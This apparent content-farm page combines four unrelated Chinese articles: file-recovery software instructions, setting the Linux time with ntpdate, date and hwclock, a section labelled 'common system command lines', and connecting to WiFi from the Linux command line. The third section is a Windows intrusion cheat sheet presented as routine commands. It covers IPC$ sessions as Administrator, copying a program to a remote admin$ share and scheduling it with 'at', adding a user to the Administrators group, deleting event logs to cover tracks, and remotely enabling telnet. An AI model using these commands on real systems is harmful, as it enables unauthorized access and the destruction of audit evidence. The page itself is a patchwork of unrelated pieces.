当计算机内的文件被有意无意的删除、或遭到病毒破坏、分区被格式化后,若想恢复这些已丢失的文件,均可使用本功能。实际上,操作系统在删除文件时,只是将被删除文件打上了“删除标记”,并将文件数据占用的磁盘空间标记为“空闲”。文件数据并没有被清除,还静静地“躺”在磁盘上。只要删除文件后没有建立新的文件,操作系统没有写入新的数据,这些被删除的文件数据就不会被破坏,就有机会通过一定的技术手段将它们“抢救”出来。
格式化操作执行时并不会考虑磁盘上原来的数据内容,也不会先删除旧文件。不同的文件系统类型,格式化的具体操作内容也不同。对于FAT32、FAT16、FAT12等文件系统,格式化时会清除文件分配表(简称FAT,固定位于分区的开始部分,含有文件数据的定位信息)及根目录。文件数据一般不会被清除。对于NTFS文件系统,格式化时新写入的数据没有固定位置要求,但正常情况下每次格式化时的写入位置不会变化。因此旧文件数据大多不会被覆盖,仍存在大量残余信息供我们找到丢失的文件。
本功能就是通过分析残留在磁盘上的文件的部分信息来重新找到文件数据及文件夹的层次结构,从而达到恢复文件数据的目的。
对于整个分区已经丢失的情况,请首先参阅“搜索已丢失分区(重建分区表)”功能,先搜索到丢失的分区。然后可以在保存分区表后、或在不保存分区表的情况下再利用“文件恢复”功能恢复分区内的文件。
分区被破坏的表现有:在“我的电脑”中打开分区时系统提示“未格式化”“需要格式化”,分区属性显示为“RAW”,打开分区后看不到任何文件。遇到这些情况时,都可以通过“误格式化后的文件恢复”功能来恢复文件。
本功能支持NTFS、FAT32、FAT16、FAT12等文件系统类型的硬盘分区、支持使用这些文件系统格式的RAID卷、U盘、存储卡(如数码相机中的SD卡、XD卡等等)。
为保护正在恢复的分区不被再次破坏,本软件在搜索分区内的文件时,会采用只读模式,不会向分区写入任何数据。
要开始恢复文件,首先选择已删除文件所在的分区。然后点击工具栏按钮“恢复文件”,或点击主菜单“工具”中的“已删除或格式化后的文件恢复”菜单项,以打开文件恢复对话框。
由于格式化后的文件恢复与文件正常删除后的恢复过程不同,我们将这两种情况分别处理。下面是具体的操作方法:
一、误删除文件的恢复:
在恢复文件对话框中,选择“恢复误删除的文件”。
如果在文件被删除之后,文件所在的分区有写入操作,则最好同时勾选“额外扫描已知文件类型”选项,并点击“选择文件类型”按钮设置要恢复的文件类型。勾选这个选项后,软件会扫描分区中的所有空闲空间,如果发现了要搜索类型的文件,软件会将这些类型的文件在“所有类型”文件夹中列出。这样,如果在删除之前的正常目录下找不到删除过的文件,就可以根据文件扩展名在“所有类型”里面找一下。
很多情况下,即使刚刚删除的文件,通过普通的删除恢复功能也无法找回。这是因为已删除文件的重要信息被操作系统或用户的误操作破坏了。这种导致二次破坏的操作往往是在不经意间发生的。比如在误删除了一些照片文件后,马上打开“资源管理器”在各个目录中找寻刚刚删除的文件并使用了Windows的缩略图预览功能。恰恰是这样的操作就足矣破坏已删除文件的大量重要信息。因为缩略图预览功能会在文件夹下面生成缩略图缓存文件。类似的不经意操作有很多。在这种情况下,必须通过“扫描文件类型”的方式来恢复文件。虽然通过这种方式找到的文件,文件名是用序号来命名的,但仍然可以通过预览功能、或者复制出来后打开确认。特别是对于恢复照片及Office文档时非常有效。
由于扫描文件类型时速度较慢(需要扫描所有空闲扇区),建议先不使用这个选项,用普通的方式搜索一次。如果找不到要恢复的文件,再用这种方式重新扫描。
如果正在搜索的分区的文件系统类型是FAT32,则还可以勾选“恢复更早以前删除的文件”复选框。由于FAT32文件系统在删除文件时的特性,有的已删除文件在不进行完整扫描的情况下可能搜索不到。由于“恢复更早以前删除的文件”耗时较长,建议先在不使用该选项的情况下搜索一次,搜索不到时再采用该方式重新搜索。
点击“开始”按钮以开始搜索过程:
搜索完成后,恢复文件对话框自动关闭。程序主界面将显示搜索到的文件,每个已删除文件前面都有一个复选框,左侧的文件夹层次图中的条目也加上了复选框。
对于不能确定归属的文件及文件夹,程序将它们统一放到一个叫做“丢失的文件”的内存文件夹中。如果在原位置找不到要恢复的文件,可以尝试在“丢失的文件”文件夹中查找文件。恢复后查找文件时不要忘了这个文件夹,很可能要恢复的重要文件就在这里。
在恢复文件的状态下,文件列表中的“属性”栏将给已删除文件增加两个标记“D”和“X”。“D”表示这是一个已删除的文件。“X”表示这个文件的数据可能已被部分或全部覆盖,文件数据完全恢复的可能性较小。
为方便用户识别搜索到的文件,可以让程序同时显示未删除的正常文件,方法是点击“查看 - 显示正常文件”菜单项。正常文件没有复选框,不可选择。
要恢复搜索到的文件,请通过复选框选择要恢复的文件。然后在文件列表中点击鼠标右键,或打开“文件”主菜单,选择“复制到”菜单项。接下来选择存放恢复后文件的文件夹,点击确定按钮,程序会将当前选择的文件复制到指定的文件夹中。为防止复制操作对正在恢复的分区造成二次破坏,本软件不允许将文件恢复到原分区。
点击完成按钮,关闭文件复制对话框,程序自动清除已复制的文件的选择状态。以准备选择其它文件。
当所有要恢复的文件都复制出来后。可以通过“分区 - 重新加载当前分区”菜单项释放当前分区在内存中的暂存数据,并从磁盘加载当前分区,显示分区的当前状态。
浏览量:3
下载量:0
时间:
Linux 系统的时间有时候会不准,不准确的时间会导致日志文件中的时间出现错误,所以准确的时间是很重要的,那么要怎么更改Linux 系统的时间呢?下面小编给大家介绍下使用命令行更改Linux系统时间和日期的方法步骤。
问题: 在 Linux 上, 我怎样通过命令行来改变日期和时间?
在 Linux 系统中保持日期和时间的同步是每一个 Linux 用户和系统管理员的重要责任。 很多程序都依靠精确的时间信息得以正常工作。 另外, 不精确的日期和时间会使得日志文件中的时间戳变得毫无意义, 减弱了它们在系统检查和检修中的作用。 对于生产系统来说, 精确的日期和时间甚至更为重要。 例如, 在零售公司中, 所有产品必须时刻准确地计数(并储存在数据库服务器中)以便于财政部门计算每天及每周,每月,每年的支出和收入。
我们必须注意, 在 Linux 机器上有两种时钟:由内核维持的软件时钟(又称系统时钟)和在机器关机后记录时间的(电池供电的)硬件时钟。 启动的时候,内核会把系统时钟与硬件时钟同步。之后, 两个时钟各自独立运行。
方法一: NTP
另一种使系统日期和时间保持精确的方法是使用 NTP (网络时间协议)。 在 Linux 上, ntpdate 命令通过 NTP 将系统时钟和公共 NTP 服务器同步。
你可以使用如下命令来安装 ntpdate:
在 Debian 及基于 Debian 的发行版上:
# aptitude install ntpdate
在基于 Ret Hat 的发行版上:
# yum install ntpdate
使用 NTP 同步系统时钟:
# ntpdate -u 《NTP 服务器名或IP》# hwclock --systohc
除了一次性使用 ntpdate 来同步时钟, 你也可以使用 NTP 守护进程(ntpd), 它会始终在后台运行, 不断地通过 NTP 来调整系统时钟。
方法二: Date 命令
在 Linux 中, 你可以通过 date 命令来更改系统的日期和时间:
# date --set=‘NEW_DATE’
其中 NEW_DATE 是诸如 “Sun, 28 Sep 2014 16:21:42” 或者 “2014-09-29 16:21:42” 的可读格式的日期字符串。
日期格式也可以手动指定以获得更精确的结果:
# date +FORMAT --set=‘NEW_DATE’
例如:
# date +’%Y%m%d %H%m’ --set=‘20140928 1518’
你也可以用相对的方式地增加或减少一定的天数,周数,月数和秒数,分钟数,小时数。 你也可以把日期和时间的参数放到一个命令中。
# date --set=‘+5 minutes’# date --set=‘-2 weeks’# date --set=‘+3 months’# date --set=‘-3 months +2 weeks -5 minutes’
最后, 把硬件时钟设置为当前系统时钟:
# hwclock --systohc
运行 hwclock --systohc 的目的是将硬件时钟同软件时钟同步, 这可以更正硬件时钟的系统漂移(即时钟按照一定的速度走快或走慢)。
另一方面, 如果硬件时钟是正确的, 但系统时钟有误, 可以用下面的命令更正:
# hwclock --hctosys
在两种情况下, hwclock 命令都是将两个时钟同步。 否则, 重启后时间会是错误的, 因为当电源关闭时硬件时钟会记忆时间。 然而, 这对于虚拟机器并不适用, 因为虚拟机器并不能访问硬件时钟。
上面就是使用命令行更改Linux系统日期和时间的方法介绍了,如果你想用命令行修改Linux系统的话,不妨试试上面介绍的方法步骤吧。
浏览量:2
下载量:0
时间:
三级PC常见的系统命令行,说不定很多网友还不清楚这些是什么,或者不知道那些系统命令行,下面就由小编来教给你吧!
三级PC常见的系统命令行:
(与远程主机建立空管连接) net use https://IP地址/ipc$ "" /use:""
(以管理员身份登录远程主机) net use https://IP地址/ipc$ "密码" /use:"Administrator"
(传送文件到远程主机WINNT目录下)copy 本机目录路径/程序 https://IP地址/admin$
(查看远程主机时间) net time https://IP地址
(定时启动某个程序) at https://IP地址 02:18 readme.exe
(查看共享) net view https://IP地址
(查看netbios工作组列表) nbtstat -A IP地址
(将远程主机C盘映射为自己的F盘) net use f: https://IP地址/c$ ""/user:"Administrator"
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup Administrators 用户名 /add
(断开连接) net use https://IP地址/ipc$ /delete
扫尾:
del C:/winnt/system32/logfiles/*.*
del C:/winnt/ssytem32/config/*.evt
del C:/winnt/system32/dtclog/*.*
del C:/winnt/system32/*.log
del C:/winnt/system32/*.txt
del C:/winnt/*.txt
del C:/winnt/*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list https://IP地址
netsvc schedule https://IP地址 /query
netsvc https://IP地址 schedule /start
二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet https://IP地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入DOS方式下:
telnet IP地址 7878
浏览量:2
下载量:0
时间:
通常我们电脑都是通过有线连接宽带,那么无线wifi该如何设置呢?下面读文网小编就给大家介绍下Linux系统下如何通过命令行来连接wifi,一起来学习下吧。
无论何时要安装一款新的 Linux 发行系统,一般的建议都是让您通过有线连接来接到互联网的。
这主要的原因有两条:第一,您的无线网卡也许安装的驱动不正确而不能用;第二,如果您是从命令行中来安装系统的,管理 WiFi 就非常可怕。我总是试图避免在命令行中处理 WiFi 。但 Linux 的世界,应具有无所畏惧的精神。
通过命令行来设置连接到 WiFi 当然有很多种方法,但在这篇文章里,同时也是一个建议,我使用最基本的方法:那就是使用在任何发布版本中都有的包含在“默认包”里的程序和工具。或者说我偏向于使用这一种方法。使用此方法显而易见的好处是这个操作过程能在任意有 Linux 系统的机器上复用。不好的一点是它相对来说比较复杂。
首先,我假设您们都已经正确安装了无线网卡的驱动程序。没有这前提,后续的一切都如镜花水月。如果您你机器确实没有正确安装上,您应该看看关于您的发布版本的维基和文档。
然后您就可以用如下命令来检查是哪一个接口来支持无线连接的:
$ iwconfig
一般来说,无线接口都叫做 wlan0。当然也有例外的,但在这篇教程中我们将会一直用通用叫法。
以防万一,你得确认下以使此接口服务是启动着的:
$ sudo ip link set wlan0 up
一但确认了无线接口是工作着的,你就可以用如下命令来扫描附近的无线网络了:
$ sudo iw dev wlan0 scan | less
根据扫描出的结果,可以得到网络的名字(它的 SSID),它的信息强度,以及它使用的是哪个安全加密的(如:WEP、WPA/WPA2)。从此时起,将会分成两条路线:情况很好、很容易的以及情况稍微复杂的。
如果您想连接的网络是没有加密的,您可以用下面的命令直接连接:
$ sudo iw dev wlan0 connect [网络 SSID]
如果网络是用 WEP 加密的,也非常容易:
$ sudo iw dev wlan0 connect [网络 SSID] key 0:[WEP 密钥]
但网络使用的是 WPA 或 WPA2 协议的话,事情就不好办了。这种情况,您就得使用叫做 wpasupplicant 的工具,它默认是没有的。然后需要修改 /etc/wpasupplicant/wpa_supplicant.conf 文件,增加如下行:
network={ ssid=“[网络 ssid]” psk=“[密码]” priority=1}
我建议你在文件的末尾添加它,并确保其他配置都注释掉。要注意 SSID 和密码字串都是大小写敏感的。在技术上您也可以把接入点的名称当做是 SSID,使用 wpa_supplicant 工具的话会有合适的 SSID 来替代这个名字。
一旦配置文件修改完成后,在后台启动此命令:
$ sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
最后,无论是连到开放的网络还是加密的安全网络,您都得获取 IP 地址。简单地使用如下命令:
$ sudo dhcpcd wlan0
如果一切顺利的话,您应该已经通过 DHCP 获取到了一个全新的本地 IP,这个过程是在后台自动完成的。如果想确认下是否真正连接上的话,您可以再一次输入如下命令检查:
$ iwconfig
最后,我认为多次重复第一步的检查操作是很有必要的。您永远不会知道什么时候您的图形用户界面挂了,或者是什么时候不能访问无线连接了,所以现在就准备着用命令来检测吧。还有,前面提到过的,有很多种方式(如 NetworkManager、wicd、netcfg、wifi 等等)来管理无线连接。我坚持使用最基本的方式,但在某些情况下,我使用的工具可能您还没有,所以您在之前就得先下载它们。另一方面,有很多高级的应用程序,他们确实是不包含在“默认包”里面的,使用它们会大大简化操作过程。但一般建议是开始的话最好从基本的来。
上面就是Linux下通过命令行来连接wifi的方法介绍了,Linux系统管理无线wifi可不简单,且要养成良好的习惯,现在赶紧动手试试看吧。
浏览量:2
下载量:0
时间: